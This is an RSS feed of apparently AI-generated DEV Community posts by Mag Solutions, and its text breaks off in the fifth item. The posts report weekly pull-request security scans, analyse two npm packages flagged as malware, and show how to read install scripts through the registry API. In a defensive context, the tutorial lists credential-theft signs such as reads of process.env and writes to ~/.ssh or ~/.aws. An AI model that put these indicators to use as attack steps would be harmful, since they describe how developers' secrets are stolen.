<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mag Solutions</title>
    <description>The latest articles on DEV Community by Mag Solutions (@mag_solutions_ai).</description>
    <link>https://dev.to/mag_solutions_ai</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4117801%2F11fd5259-44d7-4dc3-bb74-82d5c8822a92.png</url>
      <title>DEV Community: Mag Solutions</title>
      <link>https://dev.to/mag_solutions_ai</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mag_solutions_ai"/>
    <language>en</language>
    <item>
      <title>Field report: 12656 real pull requests scanned, 9.6% flagged, 46 of our own mistakes fixed in public</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 19 Oct 2026 09:38:47 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/field-report-12656-real-pull-requests-scanned-96-flagged-46-of-our-own-mistakes-fixed-in-public-4412</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-12656-real-pull-requests-scanned-96-flagged-46-of-our-own-mistakes-fixed-in-public-4412</guid>
      <description>&lt;p&gt;We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;12656&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests where the check flagged something&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.6%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11266&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11494&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hallucinated packages confirmed&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates discarded on review&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates still pending review&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;A 404 means a name is not published. It does not mean anyone invented it&lt;/strong&gt; — an unpublished sibling inside a monorepo returns exactly the same 404, and no HTTP request can tell them apart. So a name is counted only once a person has confirmed it, and the discarded and pending counts are published beside the total.&lt;/p&gt;

&lt;p&gt;20 candidate(s) have not been looked at yet and are &lt;strong&gt;not&lt;/strong&gt; in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;None confirmed — and that is not good news for us.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lot has been written about AI assistants inventing package names. On 12656 real pull requests we have confirmed &lt;strong&gt;none&lt;/strong&gt;, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.&lt;/p&gt;

&lt;p&gt;We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Generated on 2026-10-19 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>items-validator and item-validator: three weeks old and six years dormant, flagged as malware the same morning</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 19 Oct 2026 08:46:18 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/items-validator-and-item-validator-three-weeks-old-and-six-years-dormant-flagged-as-malware-the-p66</link>
      <guid>https://dev.to/mag_solutions_ai/items-validator-and-item-validator-three-weeks-old-and-six-years-dormant-flagged-as-malware-the-p66</guid>
      <description>&lt;p&gt;On the morning of 19 October 2026, GitHub's Advisory Database reviewed two npm packages as&lt;br&gt;
malware: &lt;a href="https://github.com/advisories/GHSA-rpgc-c7g7-g8fh" rel="noopener noreferrer"&gt;&lt;code&gt;items-validator&lt;/code&gt;&lt;/a&gt; and&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-ff48-h3v7-m43r" rel="noopener noreferrer"&gt;&lt;code&gt;item-validator&lt;/code&gt;&lt;/a&gt; — names one letter apart,&lt;br&gt;
in the same batch of advisories. Looked at side by side on the registry, they turn out to be two&lt;br&gt;
different supply-chain patterns wearing the same name.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the advisories actually say
&lt;/h2&gt;

&lt;p&gt;Both are short, and both say the same thing in the same words: "Any computer that has this&lt;br&gt;
package installed or running should be considered fully compromised," with a recommendation to&lt;br&gt;
rotate every secret on the affected machine from a different computer and remove the package,&lt;br&gt;
while warning that removal alone may not clean up whatever it already did. Both are classified&lt;br&gt;
&lt;code&gt;CWE-506&lt;/code&gt;, "Embedded Malicious Code." Neither advisory describes the actual payload, names a CVE,&lt;br&gt;
or links to the code — this is the standard malware-advisory boilerplate GitHub publishes when a&lt;br&gt;
package is pulled, not a writeup of what it does. We're not going to guess at the mechanism from&lt;br&gt;
two sentences; what follows is what we could check ourselves, directly against the registry.&lt;/p&gt;
&lt;h2&gt;
  
  
  One package is three weeks old. The other is six years dormant.
&lt;/h2&gt;

&lt;p&gt;The registry's own &lt;code&gt;time&lt;/code&gt; field — the publish timestamp of every version a package has ever had —&lt;br&gt;
is public and doesn't get rewritten when npm pulls a package for malware, even though the actual&lt;br&gt;
version contents do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/items-validator | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; print(json.load(sys.stdin)['time'])"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'1.0.4'&lt;/span&gt;: &lt;span class="s1"&gt;'2026-09-28T08:37:45.576Z'&lt;/span&gt;, &lt;span class="s1"&gt;'1.0.5'&lt;/span&gt;: &lt;span class="s1"&gt;'2026-09-28T12:00:19.110Z'&lt;/span&gt;,
 &lt;span class="s1"&gt;'0.0.0-stage'&lt;/span&gt;: &lt;span class="s1"&gt;'2026-10-19T06:24:58.173Z'&lt;/span&gt;, &lt;span class="s1"&gt;'0.0.1-security'&lt;/span&gt;: &lt;span class="s1"&gt;'2026-10-19T06:25:55.248Z'&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;items-validator&lt;/code&gt; had exactly two real versions, both published 28 September — three weeks before&lt;br&gt;
the advisory. That's the textbook shape of a newly-published, low-adoption dependency: a handful&lt;br&gt;
of versions, no track record, added to someone's &lt;code&gt;package.json&lt;/code&gt; while it was still fresh.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;item-validator&lt;/code&gt; (singular) tells a completely different story:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/item-validator | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; d=json.load(sys.stdin)['time']; print(min(d.values()), max(v for k,v in d.items() if not k.startswith('0.0')))"&lt;/span&gt;
2019-12-30T14:30:58.588Z 2020-02-20T21:05:26.313Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That package shipped more than 70 versions between December 2019 and February 2020, then nothing&lt;br&gt;
— no release, no advisory, no activity of any kind — for over six years. Then, this morning, it&lt;br&gt;
was quarantined for the same reason as its three-week-old near-namesake. Both registry entries now&lt;br&gt;
show &lt;code&gt;"maintainers": [{"name": "npm", "email": "npm@npmjs.com"}]&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;"description": "security holding package"&lt;/code&gt; — npm's standard placeholder once it pulls a package&lt;br&gt;
for malware and takes over the name itself.&lt;/p&gt;

&lt;p&gt;A package dormant for six years and then suddenly shipping new versions is a different failure&lt;br&gt;
mode from a brand-new package with no history: it usually means an attacker got control of an&lt;br&gt;
abandoned maintainer account or an expired registration, not that someone registered a fresh&lt;br&gt;
typosquat. Age alone doesn't distinguish them — &lt;code&gt;item-validator&lt;/code&gt; is, by every age-based signal,&lt;br&gt;
an old and presumably trustworthy dependency, right up until it isn't.&lt;/p&gt;
&lt;h2&gt;
  
  
  The download numbers, for what they're worth
&lt;/h2&gt;

&lt;p&gt;npm's public stats endpoint still has a record for both, from before either was pulled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.npmjs.org/downloads/point/last-month/items-validator
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"downloads"&lt;/span&gt;:736,&lt;span class="s2"&gt;"start"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-09-17"&lt;/span&gt;,&lt;span class="s2"&gt;"end"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-10-16"&lt;/span&gt;,&lt;span class="s2"&gt;"package"&lt;/span&gt;:&lt;span class="s2"&gt;"items-validator"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.npmjs.org/downloads/point/last-month/item-validator
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"downloads"&lt;/span&gt;:0,&lt;span class="s2"&gt;"start"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-09-17"&lt;/span&gt;,&lt;span class="s2"&gt;"end"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-10-16"&lt;/span&gt;,&lt;span class="s2"&gt;"package"&lt;/span&gt;:&lt;span class="s2"&gt;"item-validator"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;736 downloads in under three weeks is not nothing for a package with two versions and no public&lt;br&gt;
repository we could find. It could mean genuine early adoption; it could mean automated download&lt;br&gt;
activity, which is a known way to make a young package look more established than it is. The&lt;br&gt;
endpoint doesn't distinguish the two, and we're not going to pick one explanation and present it&lt;br&gt;
as fact. &lt;code&gt;item-validator&lt;/code&gt;'s zero fits a package nobody had reason to install in the month before&lt;br&gt;
its old name got reused.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where this fits on the pull request
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;items-validator&lt;/code&gt; is exactly what a dependency-age and adoption check is built to catch: new,&lt;br&gt;
thin version history, added to a lockfile for the first time. On a pull request that introduces&lt;br&gt;
it, that's what MagAudit marks as critical, with the file and line of the lockfile change —&lt;br&gt;
whether that stops the merge depends on whether the team has made the check required in their own&lt;br&gt;
branch protection settings. &lt;code&gt;item-validator&lt;/code&gt; is the harder case for any check built around&lt;br&gt;
novelty: a six-year-old name with a real publish history doesn't look new to an age heuristic on&lt;br&gt;
the day it's added, because in every dependency tree that already pinned it months ago, it wasn't&lt;br&gt;
added this week at all — the risk only appears retroactively, when a dormant name starts shipping&lt;br&gt;
again.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;Neither advisory says what the payload actually did, so we haven't described one. We don't know&lt;br&gt;
whether &lt;code&gt;item-validator&lt;/code&gt;'s takeover was a compromised maintainer account, an expired email domain,&lt;br&gt;
or something else — GitHub's advisory doesn't say, and nothing in the registry metadata confirms&lt;br&gt;
it either way. We don't know if the 736 downloads of &lt;code&gt;items-validator&lt;/code&gt; represent real installs by&lt;br&gt;
real developers or inflated numbers from the campaign itself; the stats endpoint can't tell the&lt;br&gt;
two apart, and we haven't found a second source that can. And we don't know whether the two&lt;br&gt;
packages share an operator — same naming pattern, same advisory batch, same morning, but that's&lt;br&gt;
circumstantial, not confirmed.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>Field report: 9917 real pull requests scanned, 7.9% flagged, 46 of our own mistakes fixed in public</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 12 Oct 2026 09:35:37 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/field-report-9917-real-pull-requests-scanned-79-flagged-46-of-our-own-mistakes-fixed-in-public-b6j</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-9917-real-pull-requests-scanned-79-flagged-46-of-our-own-mistakes-fixed-in-public-b6j</guid>
      <description>&lt;p&gt;We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9917&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests where the check flagged something&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;7.9%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8900&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9293&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hallucinated packages confirmed&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates discarded on review&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates still pending review&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;A 404 means a name is not published. It does not mean anyone invented it&lt;/strong&gt; — an unpublished sibling inside a monorepo returns exactly the same 404, and no HTTP request can tell them apart. So a name is counted only once a person has confirmed it, and the discarded and pending counts are published beside the total.&lt;/p&gt;

&lt;p&gt;11 candidate(s) have not been looked at yet and are &lt;strong&gt;not&lt;/strong&gt; in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;None confirmed — and that is not good news for us.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lot has been written about AI assistants inventing package names. On 9917 real pull requests we have confirmed &lt;strong&gt;none&lt;/strong&gt;, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.&lt;/p&gt;

&lt;p&gt;We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Generated on 2026-10-12 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>How to read a package's install scripts before npm runs them</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 12 Oct 2026 08:42:53 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/how-to-read-a-packages-install-scripts-before-npm-runs-them-3e44</link>
      <guid>https://dev.to/mag_solutions_ai/how-to-read-a-packages-install-scripts-before-npm-runs-them-3e44</guid>
      <description>&lt;p&gt;You're about to add a dependency. Before &lt;code&gt;npm install&lt;/code&gt; finishes, it may already have run&lt;br&gt;
arbitrary JavaScript on your machine — not because the package is malicious, but because&lt;br&gt;
that's how npm's install lifecycle works. &lt;a href="https://docs.npmjs.com/cli/v10/using-npm/scripts" rel="noopener noreferrer"&gt;npm's own documentation&lt;/a&gt;&lt;br&gt;
lists the order: &lt;code&gt;preinstall&lt;/code&gt;, then &lt;code&gt;install&lt;/code&gt;, then &lt;code&gt;postinstall&lt;/code&gt;, all run after the package&lt;br&gt;
lands in &lt;code&gt;node_modules&lt;/code&gt; and before &lt;code&gt;npm install&lt;/code&gt; returns control to you.&lt;/p&gt;

&lt;p&gt;Most of the time that's harmless — a native module compiling itself, a CLI tool downloading&lt;br&gt;
a binary. Sometimes it's the thing a dependency-confusion or typosquat package relies on:&lt;br&gt;
the credential-stealing code we covered in &lt;a href="///blog/coinbase-wallet-npm-cluster.html"&gt;the Coinbase wallet cluster&lt;/a&gt;&lt;br&gt;
and in &lt;a href="///blog/starbucks-sdk-dependency-confusion.html"&gt;starbucks-sdk&lt;/a&gt; both ran the moment&lt;br&gt;
&lt;code&gt;npm install&lt;/code&gt; finished, via a &lt;code&gt;postinstall&lt;/code&gt; hook, with no further action from anyone.&lt;/p&gt;

&lt;p&gt;The useful part: you don't need to run the install to see the scripts. The npm registry&lt;br&gt;
stores the full &lt;code&gt;package.json&lt;/code&gt; for every published version, scripts included, and serves it&lt;br&gt;
as plain JSON.&lt;/p&gt;
&lt;h2&gt;
  
  
  The command
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/&amp;lt;package&amp;gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; d=json.load(sys.stdin); v=d['dist-tags']['latest']; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
  print(d['versions'][v].get('scripts'))"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Run against five real packages, today:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/left-pad | ...
None

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/husky | ...
None

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/puppeteer | ...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'postinstall'&lt;/span&gt;: &lt;span class="s1"&gt;'node install.mjs'&lt;/span&gt;, ...&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/cypress | ...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'postinstall'&lt;/span&gt;: &lt;span class="s1"&gt;'node dist/index.js --exec install'&lt;/span&gt;, ...&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/core-js | ...
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'postinstall'&lt;/span&gt;: &lt;span class="s1"&gt;'node -e "try{require(\'&lt;/span&gt;./postinstall&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="o"&gt;)}&lt;/span&gt;catch&lt;span class="o"&gt;(&lt;/span&gt;e&lt;span class="o"&gt;){}&lt;/span&gt;&lt;span class="s2"&gt;"'}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No install, no sandbox, no five minutes waiting for a tarball — one HTTP request per&lt;br&gt;
package.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reading what the script actually does
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;postinstall&lt;/code&gt; entry by itself tells you nothing about intent. All three packages above&lt;br&gt;
run one, and all three are doing something ordinary.&lt;/p&gt;

&lt;p&gt;Puppeteer's &lt;code&gt;install.mjs&lt;/code&gt; &lt;a href="https://unpkg.com/puppeteer@25.13.0/install.mjs" rel="noopener noreferrer"&gt;says exactly what it's for&lt;/a&gt;&lt;br&gt;
in its own header comment: "the &lt;code&gt;puppeteer&lt;/code&gt; package runs this script during the installation&lt;br&gt;
process" to fetch a supported browser build. Cypress does the same for its own binary. Both&lt;br&gt;
are well-known, well-documented reasons for a package to act during install — and both would&lt;br&gt;
trip a rule that simply flags "has a postinstall script" as a finding, which is why that rule&lt;br&gt;
on its own is not good enough.&lt;/p&gt;

&lt;p&gt;Core-js is the clearer case for actually reading the file instead of guessing from the&lt;br&gt;
command. &lt;a href="https://unpkg.com/core-js@3.50.0/postinstall.js" rel="noopener noreferrer"&gt;Its postinstall script&lt;/a&gt; checks a&lt;br&gt;
handful of environment variables — &lt;code&gt;CI&lt;/code&gt;, &lt;code&gt;ADBLOCK&lt;/code&gt;, &lt;code&gt;DISABLE_OPENCOLLECTIVE&lt;/code&gt; — and, when none&lt;br&gt;
of them are set, prints a one-time terminal banner asking for project funding, then writes a&lt;br&gt;
marker file to &lt;code&gt;os.tmpdir()&lt;/code&gt; so it won't repeat. No network call, no credential read, no file&lt;br&gt;
outside &lt;code&gt;/tmp&lt;/code&gt;. Unwelcome if you didn't expect it; not a threat.&lt;/p&gt;

&lt;p&gt;Compare that to what you'd want to see from a script in a package you've never heard of,&lt;br&gt;
published a few days ago: a request to an unfamiliar host, a read of &lt;code&gt;process.env&lt;/code&gt; passed&lt;br&gt;
anywhere outside &lt;code&gt;console.log&lt;/code&gt;, or a write to a path like &lt;code&gt;~/.aws&lt;/code&gt; or &lt;code&gt;~/.ssh&lt;/code&gt;. None of that&lt;br&gt;
appears in any of the five packages above — which is exactly the point of checking before you&lt;br&gt;
install, not after.&lt;/p&gt;
&lt;h2&gt;
  
  
  The same trick works on age
&lt;/h2&gt;

&lt;p&gt;The registry's &lt;code&gt;time&lt;/code&gt; field is in the same response, free of charge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://registry.npmjs.org/left-pad | &lt;span class="se"&gt;\&lt;/span&gt;
  python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; d=json.load(sys.stdin); print(d['time']['created'])"&lt;/span&gt;
2014-03-14T09:09:20.762Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A package that's two days old with a &lt;code&gt;postinstall&lt;/code&gt; script and a handful of downloads is a&lt;br&gt;
different risk profile from one that's ten years old with a script that fetches a browser&lt;br&gt;
binary and &lt;a href="https://api.npmjs.org/downloads/point/last-week/puppeteer" rel="noopener noreferrer"&gt;11.4 million downloads in the last seven days&lt;/a&gt;&lt;br&gt;
(checked 12 October 2026). Age and adoption don't prove safety, but a script on a brand-new,&lt;br&gt;
unused name is worth five extra minutes that the same script on &lt;code&gt;puppeteer&lt;/code&gt; is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;This technique reads what a script &lt;em&gt;says&lt;/em&gt; it does in source form. It does not execute the&lt;br&gt;
script in a sandbox, does not catch logic that only triggers under specific conditions, and&lt;br&gt;
does not follow code the script downloads and runs afterward — a dropper that fetches its&lt;br&gt;
real payload from a second URL at install time would still look ordinary from this check&lt;br&gt;
alone. It also doesn't tell you anything about a dependency that's one level down: these five&lt;br&gt;
packages are the ones you typed into &lt;code&gt;package.json&lt;/code&gt; yourself, not the forty-odd others that&lt;br&gt;
came along as transitive dependencies with their own scripts. And none of this is malware&lt;br&gt;
analysis — it's reading source, not behaviour; a tool built to execute packages in isolation&lt;br&gt;
and watch what they actually do, such as Socket, is answering a different and harder&lt;br&gt;
question than the one this command answers.&lt;/p&gt;

&lt;p&gt;If you want this check to run on every pull request instead of by hand, that's one of the&lt;br&gt;
things a dependency-age-and-adoption check looks at automatically and flags in the PR.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>ai</category>
    </item>
    <item>
      <title>Field report: 6949 real pull requests scanned, 6.1% flagged, 46 of our own mistakes fixed in public</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 05 Oct 2026 09:34:11 +0000</pubDate>
